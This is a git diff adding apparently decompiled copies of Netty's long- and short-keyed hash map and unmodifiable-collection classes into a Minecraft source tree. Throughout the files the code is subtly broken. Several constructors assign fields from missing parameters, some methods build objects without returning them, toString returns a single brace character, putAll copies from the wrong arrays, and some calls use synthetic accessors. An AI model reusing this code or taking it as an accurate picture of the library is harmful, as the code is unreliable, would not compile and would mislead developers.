+      
+      return entries;
+    }
+    
+    public Set<Long> keySet()
+    {
+      if (keySet == null) {
+        keySet = Collections.unmodifiableSet(map.keySet());
+      }
+      return keySet;
+    }
+    
+    public Set<Map.Entry<Long, V>> entrySet()
+    {
+      if (entrySet == null) {
+        entrySet = Collections.unmodifiableSet(map.entrySet());
+      }
+      return entrySet;
+    }
+    
+    public Collection<V> values()
+    {
+      if (values == null) {
+        values = Collections.unmodifiableCollection(map.values());
+      }
+      return values;
+    }
+    
+    private class IteratorImpl
+      implements Iterator<LongObjectMap.PrimitiveEntry<V>>
+    {
+      final Iterator<LongObjectMap.PrimitiveEntry<V>> iter;
+      
+      IteratorImpl()
+      {
+        this.iter = iter;
+      }
+      
+      public boolean hasNext()
+      {
+        return iter.hasNext();
+      }
+      
+      public LongObjectMap.PrimitiveEntry<V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        return new LongCollections.UnmodifiableMap.EntryImpl(LongCollections.UnmodifiableMap.this, (LongObjectMap.PrimitiveEntry)iter.next());
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException("remove");
+      }
+    }
+    
+    private class EntryImpl
+      implements LongObjectMap.PrimitiveEntry<V>
+    {
+      private final LongObjectMap.PrimitiveEntry<V> entry;
+      
+      EntryImpl()
+      {
+        this.entry = entry;
+      }
+      
+      public long key()
+      {
+        return entry.key();
+      }
+      
+      public V value()
+      {
+        return entry.value();
+      }
+      
+      public void setValue(V value)
+      {
+        throw new UnsupportedOperationException("setValue");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/LongObjectHashMap.java b/src/minecraft/io/netty/util/collection/LongObjectHashMap.java
new file mode 100644
index 0000000..e73723f
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/LongObjectHashMap.java
@@ -0,0 +1,725 @@
+package io.netty.util.collection;
+
+import io.netty.util.internal.MathUtil;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LongObjectHashMap<V>
+  implements LongObjectMap<V>
+{
+  public static final int DEFAULT_CAPACITY = 8;
+  public static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  private static final Object NULL_VALUE = new Object();
+  
+  private int maxSize;
+  
+  private final float loadFactor;
+  
+  private long[] keys;
+  
+  private V[] values;
+  
+  private int size;
+  
+  private int mask;
+  private final Set<Long> keySet = new KeySet(null);
+  private final Set<Map.Entry<Long, V>> entrySet = new EntrySet(null);
+  private final Iterable<LongObjectMap.PrimitiveEntry<V>> entries = new Iterable()
+  {
+    public Iterator<LongObjectMap.PrimitiveEntry<V>> iterator() {
+      return new LongObjectHashMap.PrimitiveIterator(LongObjectHashMap.this, null);
+    }
+  };
+  
+  public LongObjectHashMap() {
+    this(8, 0.5F);
+  }
+  
+  public LongObjectHashMap(int initialCapacity) {
+    this(initialCapacity, 0.5F);
+  }
+  
+  public LongObjectHashMap(int initialCapacity, float loadFactor) {
+    if ((loadFactor <= 0.0F) || (loadFactor > 1.0F))
+    {
+
+      throw new IllegalArgumentException("loadFactor must be > 0 and <= 1");
+    }
+    
+    this.loadFactor = loadFactor;
+    
+
+    int capacity = MathUtil.safeFindNextPositivePowerOfTwo(initialCapacity);
+    mask = (capacity - 1);
+    
+
+    keys = new long[capacity];
+    
+    V[] temp = (Object[])new Object[capacity];
+    values = temp;
+    
+
+    maxSize = calcMaxSize(capacity);
+  }
+  
+  private static <T> T toExternal(T value) {
+    return value == NULL_VALUE ? null : value;
+  }
+  
+  private static <T> T toInternal(T value)
+  {
+    return value == null ? NULL_VALUE : value;
+  }
+  
+  public V get(long key)
+  {
+    int index = indexOf(key);
+    return index == -1 ? null : toExternal(values[index]);
+  }
+  
+  public V put(long key, V value)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        keys[index] = key;
+        values[index] = toInternal(value);
+        growSize();
+        return null;
+      }
+      if (keys[index] == key)
+      {
+        V previousValue = values[index];
+        values[index] = toInternal(value);
+        return toExternal(previousValue);
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    
+    throw new IllegalStateException("Unable to insert");
+  }
+  
+
+
+  public void putAll(Map<? extends Long, ? extends V> sourceMap)
+  {
+    if ((sourceMap instanceof LongObjectHashMap))
+    {
+
+      LongObjectHashMap<V> source = (LongObjectHashMap)sourceMap;
+      for (int i = 0; i < values.length; i++) {
+        V sourceValue = values[i];
+        if (sourceValue != null) {
+          put(keys[i], sourceValue);
+        }
+      }
+      return;
+    }
+    
+
+    for (Map.Entry<? extends Long, ? extends V> entry : sourceMap.entrySet()) {
+      put((Long)entry.getKey(), entry.getValue());
+    }
+  }
+  
+  public V remove(long key)
+  {
+    int index = indexOf(key);
+    if (index == -1) {
+      return null;
+    }
+    
+    V prev = values[index];
+    removeAt(index);
+    return toExternal(prev);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public void clear()
+  {
+    Arrays.fill(keys, 0L);
+    Arrays.fill(values, null);
+    size = 0;
+  }
+  
+  public boolean containsKey(long key)
+  {
+    return indexOf(key) >= 0;
+  }
+  
+
+  public boolean containsValue(Object value)
+  {
+    V v1 = toInternal(value);
+    for (V v2 : values)
+    {
+      if ((v2 != null) && (v2.equals(v1))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public Iterable<LongObjectMap.PrimitiveEntry<V>> entries()
+  {
+    return entries;
+  }
+  
+  public Collection<V> values()
+  {
+    new AbstractCollection()
+    {
+      public Iterator<V> iterator() {
+        new Iterator() {
+          final LongObjectHashMap<V>.PrimitiveIterator iter = new LongObjectHashMap.PrimitiveIterator(LongObjectHashMap.this, null);
+          
+          public boolean hasNext()
+          {
+            return iter.hasNext();
+          }
+          
+          public V next()
+          {
+            return iter.next().value();
+          }
+          
+          public void remove()
+          {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+      
+      public int size()
+      {
+        return size;
+      }
+    };
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hash = size;
+    for (long key : keys)
+    {
+
+
+
+
+
+
+      hash ^= hashCode(key);
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof LongObjectMap)) {
+      return false;
+    }
+    
+    LongObjectMap other = (LongObjectMap)obj;
+    if (size != other.size()) {
+      return false;
+    }
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        long key = keys[i];
+        Object otherValue = other.get(key);
+        if (value == NULL_VALUE) {
+          if (otherValue != null) {
+            return false;
+          }
+        } else if (!value.equals(otherValue)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  public boolean containsKey(Object key)
+  {
+    return containsKey(objectToKey(key));
+  }
+  
+  public V get(Object key)
+  {
+    return get(objectToKey(key));
+  }
+  
+  public V put(Long key, V value)
+  {
+    return put(objectToKey(key), value);
+  }
+  
+  public V remove(Object key)
+  {
+    return remove(objectToKey(key));
+  }
+  
+  public Set<Long> keySet()
+  {
+    return keySet;
+  }
+  
+  public Set<Map.Entry<Long, V>> entrySet()
+  {
+    return entrySet;
+  }
+  
+  private long objectToKey(Object key) {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+  private int indexOf(long key)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        return -1;
+      }
+      if (key == keys[index]) {
+        return index;
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    return -1;
+  }
+  
+
+
+
+
+
+  private int hashIndex(long key)
+  {
+    return hashCode(key) & mask;
+  }
+  
+
+
+  private static int hashCode(long key)
+  {
+    return (int)(key ^ key >>> 32);
+  }
+  
+
+
+
+  private int probeNext(int index)
+  {
+    return index + 1 & mask;
+  }
+  
+
+
+  private void growSize()
+  {
+    size += 1;
+    
+    if (size > maxSize) {
+      if (keys.length == Integer.MAX_VALUE) {
+        throw new IllegalStateException("Max capacity reached at size=" + size);
+      }
+      
+
+      rehash(keys.length << 1);
+    }
+  }
+  
+
+
+
+
+
+
+  private boolean removeAt(int index)
+  {
+    size -= 1;
+    
+
+    keys[index] = 0L;
+    values[index] = null;
+    
+
+
+
+
+
+    boolean movedBack = false;
+    int nextFree = index;
+    for (int i = probeNext(index); values[i] != null; i = probeNext(i)) {
+      int bucket = hashIndex(keys[i]);
+      if (((i < bucket) && ((bucket <= nextFree) || (nextFree <= i))) || ((bucket <= nextFree) && (nextFree <= i)))
+      {
+
+        keys[nextFree] = keys[i];
+        values[nextFree] = values[i];
+        movedBack = true;
+        
+        keys[i] = 0L;
+        values[i] = null;
+        nextFree = i;
+      }
+    }
+    return movedBack;
+  }
+  
+
+
+
+  private int calcMaxSize(int capacity)
+  {
+    int upperBound = capacity - 1;
+    return Math.min(upperBound, (int)(capacity * loadFactor));
+  }
+  
+
+
+
+
+  private void rehash(int newCapacity)
+  {
+    long[] oldKeys = keys;
+    V[] oldVals = values;
+    
+    keys = new long[newCapacity];
+    
+    V[] temp = (Object[])new Object[newCapacity];
+    values = temp;
+    
+    maxSize = calcMaxSize(newCapacity);
+    mask = (newCapacity - 1);
+    
+
+    for (int i = 0; i < oldVals.length; i++) {
+      V oldVal = oldVals[i];
+      if (oldVal != null)
+      {
+
+        long oldKey = oldKeys[i];
+        int index = hashIndex(oldKey);
+        for (;;)
+        {
+          if (values[index] == null) {
+            keys[index] = oldKey;
+            values[index] = oldVal;
+            break;
+          }
+          
+
+          index = probeNext(index);
+        }
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    if (isEmpty()) {
+      return "{}";
+    }
+    StringBuilder sb = new StringBuilder(4 * size);
+    sb.append('{');
+    boolean first = true;
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        if (!first) {
+          sb.append(", ");
+        }
+        sb.append(keyToString(keys[i])).append('=').append(value == this ? "(this Map)" : toExternal(value));
+        
+        first = false;
+      }
+    }
+    return '}';
+  }
+  
+
+
+
+  protected String keyToString(long key)
+  {
+    return Long.toString(key);
+  }
+  
+  private final class EntrySet extends AbstractSet<Map.Entry<Long, V>>
+  {
+    private EntrySet() {}
+    
+    public Iterator<Map.Entry<Long, V>> iterator()
+    {
+      return new LongObjectHashMap.MapIterator(LongObjectHashMap.this, null);
+    }
+    
+    public int size()
+    {
+      return LongObjectHashMap.this.size();
+    }
+  }
+  
+  private final class KeySet extends AbstractSet<Long>
+  {
+    private KeySet() {}
+    
+    public int size()
+    {
+      return LongObjectHashMap.this.size();
+    }
+    
+    public boolean contains(Object o)
+    {
+      return containsKey(o);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return remove(o) != null;
+    }
+    
+    public boolean retainAll(Collection<?> retainedKeys)
+    {
+      boolean changed = false;
+      for (Iterator<LongObjectMap.PrimitiveEntry<V>> iter = entries().iterator(); iter.hasNext();) {
+        LongObjectMap.PrimitiveEntry<V> entry = (LongObjectMap.PrimitiveEntry)iter.next();
+        if (!retainedKeys.contains(Long.valueOf(entry.key()))) {
+          changed = true;
+          iter.remove();
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      LongObjectHashMap.this.clear();
+    }
+    
+    public Iterator<Long> iterator()
+    {
+      new Iterator() {
+        private final Iterator<Map.Entry<Long, V>> iter = entrySet.iterator();
+        
+        public boolean hasNext()
+        {
+          return iter.hasNext();
+        }
+        
+        public Long next()
+        {
+          return (Long)((Map.Entry)iter.next()).getKey();
+        }
+        
+        public void remove()
+        {
+          iter.remove();
+        }
+      };
+    }
+  }
+  
+
+  private final class PrimitiveIterator
+    implements Iterator<LongObjectMap.PrimitiveEntry<V>>, LongObjectMap.PrimitiveEntry<V>
+  {
+    private int prevIndex = -1;
+    private int nextIndex = -1;
+    private int entryIndex = -1;
+    
+    private PrimitiveIterator() {}
+    
+    private void scanNext() { while (++nextIndex != values.length) { if (values[nextIndex] != null) {
+          break;
+        }
+      }
+    }
+    
+    public boolean hasNext()
+    {
+      if (nextIndex == -1) {
+        scanNext();
+      }
+      return nextIndex < keys.length;
+    }
+    
+    public LongObjectMap.PrimitiveEntry<V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      prevIndex = nextIndex;
+      scanNext();
+      
+
+      entryIndex = prevIndex;
+      return this;
+    }
+    
+    public void remove()
+    {
+      if (prevIndex < 0) {
+        throw new IllegalStateException("next must be called before each remove.");
+      }
+      if (LongObjectHashMap.this.removeAt(prevIndex))
+      {
+
+
+        nextIndex = prevIndex;
+      }
+      prevIndex = -1;
+    }
+    
+
+
+
+    public long key()
+    {
+      return keys[entryIndex];
+    }
+    
+    public V value()
+    {
+      return LongObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public void setValue(V value)
+    {
+      values[entryIndex] = LongObjectHashMap.toInternal(value);
+    }
+  }
+  
+
+  private final class MapIterator
+    implements Iterator<Map.Entry<Long, V>>
+  {
+    private final LongObjectHashMap<V>.PrimitiveIterator iter = new LongObjectHashMap.PrimitiveIterator(LongObjectHashMap.this, null);
+    
+    private MapIterator() {}
+    
+    public boolean hasNext() { return iter.hasNext(); }
+    
+
+    public Map.Entry<Long, V> next()
+    {
+      if (!hasNext()) {
+        throw new NoSuchElementException();
+      }
+      
+      iter.next();
+      
+      return new LongObjectHashMap.MapEntry(LongObjectHashMap.this, LongObjectHashMap.PrimitiveIterator.access$1100(iter));
+    }
+    
+    public void remove()
+    {
+      iter.remove();
+    }
+  }
+  
+  final class MapEntry
+    implements Map.Entry<Long, V>
+  {
+    private final int entryIndex;
+    
+    MapEntry(int entryIndex)
+    {
+      this.entryIndex = entryIndex;
+    }
+    
+    public Long getKey()
+    {
+      verifyExists();
+      return Long.valueOf(keys[entryIndex]);
+    }
+    
+    public V getValue()
+    {
+      verifyExists();
+      return LongObjectHashMap.toExternal(values[entryIndex]);
+    }
+    
+    public V setValue(V value)
+    {
+      verifyExists();
+      V prevValue = LongObjectHashMap.toExternal(values[entryIndex]);
+      values[entryIndex] = LongObjectHashMap.toInternal(value);
+      return prevValue;
+    }
+    
+    private void verifyExists() {
+      if (values[entryIndex] == null) {
+        throw new IllegalStateException("The map entry has been removed");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/LongObjectMap.java b/src/minecraft/io/netty/util/collection/LongObjectMap.java
new file mode 100644
index 0000000..2704d41
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/LongObjectMap.java
@@ -0,0 +1,26 @@
+package io.netty.util.collection;
+
+import java.util.Map;
+
+public abstract interface LongObjectMap<V>
+  extends Map<Long, V>
+{
+  public abstract V get(long paramLong);
+  
+  public abstract V put(long paramLong, V paramV);
+  
+  public abstract V remove(long paramLong);
+  
+  public abstract Iterable<PrimitiveEntry<V>> entries();
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public static abstract interface PrimitiveEntry<V>
+  {
+    public abstract long key();
+    
+    public abstract V value();
+    
+    public abstract void setValue(V paramV);
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ShortCollections.java b/src/minecraft/io/netty/util/collection/ShortCollections.java
new file mode 100644
index 0000000..9a8dcc4
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ShortCollections.java
@@ -0,0 +1,313 @@
+package io.netty.util.collection;
+
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ShortCollections
+{
+  private static final ShortObjectMap<Object> EMPTY_MAP = new EmptyMap(null);
+  
+
+
+  private ShortCollections() {}
+  
+
+
+  public static <V> ShortObjectMap<V> emptyMap()
+  {
+    return EMPTY_MAP;
+  }
+  
+
+
+  public static <V> ShortObjectMap<V> unmodifiableMap(ShortObjectMap<V> map)
+  {
+    return new UnmodifiableMap(map);
+  }
+  
+  private static final class EmptyMap implements ShortObjectMap<Object>
+  {
+    private EmptyMap() {}
+    
+    public Object get(short key)
+    {
+      return null;
+    }
+    
+    public Object put(short key, Object value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public Object remove(short key)
+    {
+      return null;
+    }
+    
+    public int size()
+    {
+      return 0;
+    }
+    
+    public boolean isEmpty()
+    {
+      return true;
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return false;
+    }
+    
+
+
+    public void clear() {}
+    
+
+    public Set<Short> keySet()
+    {
+      return Collections.emptySet();
+    }
+    
+    public boolean containsKey(short key)
+    {
+      return false;
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return false;
+    }
+    
+    public Iterable<ShortObjectMap.PrimitiveEntry<Object>> entries()
+    {
+      return Collections.emptySet();
+    }
+    
+    public Object get(Object key)
+    {
+      return null;
+    }
+    
+    public Object put(Short key, Object value)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Object remove(Object key)
+    {
+      return null;
+    }
+    
+    public void putAll(Map<? extends Short, ?> m)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public Collection<Object> values()
+    {
+      return Collections.emptyList();
+    }
+    
+    public Set<Map.Entry<Short, Object>> entrySet()
+    {
+      return Collections.emptySet();
+    }
+  }
+  
+
+  private static final class UnmodifiableMap<V>
+    implements ShortObjectMap<V>
+  {
+    private final ShortObjectMap<V> map;
+    
+    private Set<Short> keySet;
+    private Set<Map.Entry<Short, V>> entrySet;
+    private Collection<V> values;
+    private Iterable<ShortObjectMap.PrimitiveEntry<V>> entries;
+    
+    UnmodifiableMap(ShortObjectMap<V> map)
+    {
+      this.map = map;
+    }
+    
+    public V get(short key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(short key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(short key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public int size()
+    {
+      return map.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return map.isEmpty();
+    }
+    
+    public void clear()
+    {
+      throw new UnsupportedOperationException("clear");
+    }
+    
+    public boolean containsKey(short key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      return map.containsValue(value);
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      return map.containsKey(key);
+    }
+    
+    public V get(Object key)
+    {
+      return map.get(key);
+    }
+    
+    public V put(Short key, V value)
+    {
+      throw new UnsupportedOperationException("put");
+    }
+    
+    public V remove(Object key)
+    {
+      throw new UnsupportedOperationException("remove");
+    }
+    
+    public void putAll(Map<? extends Short, ? extends V> m)
+    {
+      throw new UnsupportedOperationException("putAll");
+    }
+    
+    public Iterable<ShortObjectMap.PrimitiveEntry<V>> entries()
+    {
+      if (entries == null) {
+        entries = new Iterable()
+        {
+          public Iterator<ShortObjectMap.PrimitiveEntry<V>> iterator() {
+            return new ShortCollections.UnmodifiableMap.IteratorImpl(ShortCollections.UnmodifiableMap.this, map.entries().iterator());
+          }
+        };
+      }
+      
+      return entries;
+    }
+    
+    public Set<Short> keySet()
+    {
+      if (keySet == null) {
+        keySet = Collections.unmodifiableSet(map.keySet());
+      }
+      return keySet;
+    }
+    
+    public Set<Map.Entry<Short, V>> entrySet()
+    {
+      if (entrySet == null) {
+        entrySet = Collections.unmodifiableSet(map.entrySet());
+      }
+      return entrySet;
+    }
+    
+    public Collection<V> values()
+    {
+      if (values == null) {
+        values = Collections.unmodifiableCollection(map.values());
+      }
+      return values;
+    }
+    
+    private class IteratorImpl
+      implements Iterator<ShortObjectMap.PrimitiveEntry<V>>
+    {
+      final Iterator<ShortObjectMap.PrimitiveEntry<V>> iter;
+      
+      IteratorImpl()
+      {
+        this.iter = iter;
+      }
+      
+      public boolean hasNext()
+      {
+        return iter.hasNext();
+      }
+      
+      public ShortObjectMap.PrimitiveEntry<V> next()
+      {
+        if (!hasNext()) {
+          throw new NoSuchElementException();
+        }
+        return new ShortCollections.UnmodifiableMap.EntryImpl(ShortCollections.UnmodifiableMap.this, (ShortObjectMap.PrimitiveEntry)iter.next());
+      }
+      
+      public void remove()
+      {
+        throw new UnsupportedOperationException("remove");
+      }
+    }
+    
+    private class EntryImpl
+      implements ShortObjectMap.PrimitiveEntry<V>
+    {
+      private final ShortObjectMap.PrimitiveEntry<V> entry;
+      
+      EntryImpl()
+      {
+        this.entry = entry;
+      }
+      
+      public short key()
+      {
+        return entry.key();
+      }
+      
+      public V value()
+      {
+        return entry.value();
+      }
+      
+      public void setValue(V value)
+      {
+        throw new UnsupportedOperationException("setValue");
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/collection/ShortObjectHashMap.java b/src/minecraft/io/netty/util/collection/ShortObjectHashMap.java
new file mode 100644
index 0000000..3375e05
--- /dev/null
+++ b/src/minecraft/io/netty/util/collection/ShortObjectHashMap.java
@@ -0,0 +1,725 @@
+package io.netty.util.collection;
+
+import io.netty.util.internal.MathUtil;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ShortObjectHashMap<V>
+  implements ShortObjectMap<V>
+{
+  public static final int DEFAULT_CAPACITY = 8;
+  public static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  private static final Object NULL_VALUE = new Object();
+  
+  private int maxSize;
+  
+  private final float loadFactor;
+  
+  private short[] keys;
+  
+  private V[] values;
+  
+  private int size;
+  
+  private int mask;
+  private final Set<Short> keySet = new KeySet(null);
+  private final Set<Map.Entry<Short, V>> entrySet = new EntrySet(null);
+  private final Iterable<ShortObjectMap.PrimitiveEntry<V>> entries = new Iterable()
+  {
+    public Iterator<ShortObjectMap.PrimitiveEntry<V>> iterator() {
+      return new ShortObjectHashMap.PrimitiveIterator(ShortObjectHashMap.this, null);
+    }
+  };
+  
+  public ShortObjectHashMap() {
+    this(8, 0.5F);
+  }
+  
+  public ShortObjectHashMap(int initialCapacity) {
+    this(initialCapacity, 0.5F);
+  }
+  
+  public ShortObjectHashMap(int initialCapacity, float loadFactor) {
+    if ((loadFactor <= 0.0F) || (loadFactor > 1.0F))
+    {
+
+      throw new IllegalArgumentException("loadFactor must be > 0 and <= 1");
+    }
+    
+    this.loadFactor = loadFactor;
+    
+
+    int capacity = MathUtil.safeFindNextPositivePowerOfTwo(initialCapacity);
+    mask = (capacity - 1);
+    
+
+    keys = new short[capacity];
+    
+    V[] temp = (Object[])new Object[capacity];
+    values = temp;
+    
+
+    maxSize = calcMaxSize(capacity);
+  }
+  
+  private static <T> T toExternal(T value) {
+    return value == NULL_VALUE ? null : value;
+  }
+  
+  private static <T> T toInternal(T value)
+  {
+    return value == null ? NULL_VALUE : value;
+  }
+  
+  public V get(short key)
+  {
+    int index = indexOf(key);
+    return index == -1 ? null : toExternal(values[index]);
+  }
+  
+  public V put(short key, V value)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        keys[index] = key;
+        values[index] = toInternal(value);
+        growSize();
+        return null;
+      }
+      if (keys[index] == key)
+      {
+        V previousValue = values[index];
+        values[index] = toInternal(value);
+        return toExternal(previousValue);
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    
+    throw new IllegalStateException("Unable to insert");
+  }
+  
+
+
+  public void putAll(Map<? extends Short, ? extends V> sourceMap)
+  {
+    if ((sourceMap instanceof ShortObjectHashMap))
+    {
+
+      ShortObjectHashMap<V> source = (ShortObjectHashMap)sourceMap;
+      for (int i = 0; i < values.length; i++) {
+        V sourceValue = values[i];
+        if (sourceValue != null) {
+          put(keys[i], sourceValue);
+        }
+      }
+      return;
+    }
+    
+
+    for (Map.Entry<? extends Short, ? extends V> entry : sourceMap.entrySet()) {
+      put((Short)entry.getKey(), entry.getValue());
+    }
+  }
+  
+  public V remove(short key)
+  {
+    int index = indexOf(key);
+    if (index == -1) {
+      return null;
+    }
+    
+    V prev = values[index];
+    removeAt(index);
+    return toExternal(prev);
+  }
+  
+  public int size()
+  {
+    return size;
+  }
+  
+  public boolean isEmpty()
+  {
+    return size == 0;
+  }
+  
+  public void clear()
+  {
+    Arrays.fill(keys, (short)0);
+    Arrays.fill(values, null);
+    size = 0;
+  }
+  
+  public boolean containsKey(short key)
+  {
+    return indexOf(key) >= 0;
+  }
+  
+
+  public boolean containsValue(Object value)
+  {
+    V v1 = toInternal(value);
+    for (V v2 : values)
+    {
+      if ((v2 != null) && (v2.equals(v1))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public Iterable<ShortObjectMap.PrimitiveEntry<V>> entries()
+  {
+    return entries;
+  }
+  
+  public Collection<V> values()
+  {
+    new AbstractCollection()
+    {
+      public Iterator<V> iterator() {
+        new Iterator() {
+          final ShortObjectHashMap<V>.PrimitiveIterator iter = new ShortObjectHashMap.PrimitiveIterator(ShortObjectHashMap.this, null);
+          
+          public boolean hasNext()
+          {
+            return iter.hasNext();
+          }
+          
+          public V next()
+          {
+            return iter.next().value();
+          }
+          
+          public void remove()
+          {
+            throw new UnsupportedOperationException();
+          }
+        };
+      }
+      
+      public int size()
+      {
+        return size;
+      }
+    };
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    int hash = size;
+    for (short key : keys)
+    {
+
+
+
+
+
+
+      hash ^= hashCode(key);
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj) {
+      return true;
+    }
+    if (!(obj instanceof ShortObjectMap)) {
+      return false;
+    }
+    
+    ShortObjectMap other = (ShortObjectMap)obj;
+    if (size != other.size()) {
+      return false;
+    }
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        short key = keys[i];
+        Object otherValue = other.get(key);
+        if (value == NULL_VALUE) {
+          if (otherValue != null) {
+            return false;
+          }
+        } else if (!value.equals(otherValue)) {
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+  public boolean containsKey(Object key)
+  {
+    return containsKey(objectToKey(key));
+  }
+  
+  public V get(Object key)
+  {
+    return get(objectToKey(key));
+  }
+  
+  public V put(Short key, V value)
+  {
+    return put(objectToKey(key), value);
+  }
+  
+  public V remove(Object key)
+  {
+    return remove(objectToKey(key));
+  }
+  
+  public Set<Short> keySet()
+  {
+    return keySet;
+  }
+  
+  public Set<Map.Entry<Short, V>> entrySet()
+  {
+    return entrySet;
+  }
+  
+  private short objectToKey(Object key) {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+  private int indexOf(short key)
+  {
+    int startIndex = hashIndex(key);
+    int index = startIndex;
+    do
+    {
+      if (values[index] == null)
+      {
+        return -1;
+      }
+      if (key == keys[index]) {
+        return index;
+      }
+      
+    }
+    while ((index = probeNext(index)) != startIndex);
+    return -1;
+  }
+  
+
+
+
+
+
+  private int hashIndex(short key)
+  {
+    return hashCode(key) & mask;
+  }
+  
+
+
+  private static int hashCode(short key)
+  {
+    return key;
+  }
+  
+
+
+
+  private int probeNext(int index)
+  {
+    return index + 1 & mask;
+  }
+  
+
+
+  private void growSize()
+  {
+    size += 1;
+    
+    if (size > maxSize) {
+      if (keys.length == Integer.MAX_VALUE) {
+        throw new IllegalStateException("Max capacity reached at size=" + size);
+      }
+      
+
+      rehash(keys.length << 1);
+    }
+  }
+  
+
+
+
+
+
+
+  private boolean removeAt(int index)
+  {
+    size -= 1;
+    
+
+    keys[index] = 0;
+    values[index] = null;
+    
+
+
+
+
+
+    boolean movedBack = false;
+    int nextFree = index;
+    for (int i = probeNext(index); values[i] != null; i = probeNext(i)) {
+      int bucket = hashIndex(keys[i]);
+      if (((i < bucket) && ((bucket <= nextFree) || (nextFree <= i))) || ((bucket <= nextFree) && (nextFree <= i)))
+      {
+
+        keys[nextFree] = keys[i];
+        values[nextFree] = values[i];
+        movedBack = true;
+        
+        keys[i] = 0;
+        values[i] = null;
+        nextFree = i;
+      }
+    }
+    return movedBack;
+  }
+  
+
+
+
+  private int calcMaxSize(int capacity)
+  {
+    int upperBound = capacity - 1;
+    return Math.min(upperBound, (int)(capacity * loadFactor));
+  }
+  
+
+
+
+
+  private void rehash(int newCapacity)
+  {
+    short[] oldKeys = keys;
+    V[] oldVals = values;
+    
+    keys = new short[newCapacity];
+    
+    V[] temp = (Object[])new Object[newCapacity];
+    values = temp;
+    
+    maxSize = calcMaxSize(newCapacity);
+    mask = (newCapacity - 1);
+    
+
+    for (int i = 0; i < oldVals.length; i++) {
+      V oldVal = oldVals[i];
+      if (oldVal != null)
+      {
+
+        short oldKey = oldKeys[i];
+        int index = hashIndex(oldKey);
+        for (;;)
+        {
+          if (values[index] == null) {
+            keys[index] = oldKey;
+            values[index] = oldVal;
+            break;
+          }
+          
+
+          index = probeNext(index);
+        }
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    if (isEmpty()) {
+      return "{}";
+    }
+    StringBuilder sb = new StringBuilder(4 * size);
+    sb.append('{');
+    boolean first = true;
+    for (int i = 0; i < values.length; i++) {
+      V value = values[i];
+      if (value != null) {
+        if (!first) {
+          sb.append(", ");
+        }
+        sb.append(keyToString(keys[i])).append('=').append(value == this ? "(this Map)" : toExternal(value));
+        
+        first = false;
+      }
+    }
